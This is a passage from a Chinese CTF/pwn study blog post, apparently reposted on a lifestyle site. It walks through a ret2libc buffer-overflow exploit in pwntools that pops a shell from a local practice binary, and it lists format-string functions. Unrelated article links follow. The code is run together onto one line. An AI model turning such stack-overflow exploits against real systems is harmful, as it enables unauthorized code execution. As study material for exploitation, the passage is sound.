Pwn学习随笔(12) _生活百科

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]那么，我们直接返回该处，即执行 system 函数。相应的 payload 如下
#!/usr/bin/env pythonfrom pwn import *sh = process('./ret2libc1')binsh_addr = 0x8048720system_plt = 0x08048460payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])sh.sendline(payload)sh.interactive()这里我们需要注意函数调用栈的结构，如果是正常调用 system 函数，我们调用的时候会有一个对应的返回地址，这里以 'bbbb' 作为虚假的地址，其后参数对应的参数内容。
格式化字符串函数基本介绍printf输出到 stdoutfprintf输出到指定 FILE 流vprintf根据参数列表格式化输出到 stdoutvfprintf根据参数列表格式化输出到指定 FILE 流sprintf输出到字符串snprintf输出指定字节数到字符串vsprintf根据参数列表格式化输出到字符串vsnprintf根据参数列表格式化输出指定字节到字符串setproctitle设置 argvsyslog输出日志err, verr, warn, vwarn 等。。。

Pwn学习随笔(12)

推荐阅读

塔罗牌占卜：分析，三个月内你的幸运与倒霉

经济特区的特是指什么怎么理解经济特区？

菲诗小铺水润触感唇膏怎么样？菲诗小铺水润触感唇膏色号

隆姓2022的男孩子名字怎么取寓意吉祥上进

姊妹的拼音兄弟姊妹的拼音

关于谢律简述谢律

清洁能源是什么意思

如何评价漫威漫画的台词

带两个口罩是不是更安全

乔布斯怎么死的

高抬腿的作用高抬腿一天做多少个

天蝎座对爱情的承诺可信度高吗甜言蜜语掷地有声

火龙果煮香蕉减肥吗

销售拓展训练个人心得体会户外销售个人心得体会

母亲要退休了要送她什么礼物今天就是礼物母亲退休后

给伴娘团送这些礼物好女骑手送外卖拦到一辆车怒砸

新加坡移民申请条件新加坡留学移民申请条件

江苏省2023年定向培养军士招生计划

培根是用什么肉制作的，培根肉健康吗对人体有害吗？

中卫市第一中学2022年燕宝奖学金申报工作的通知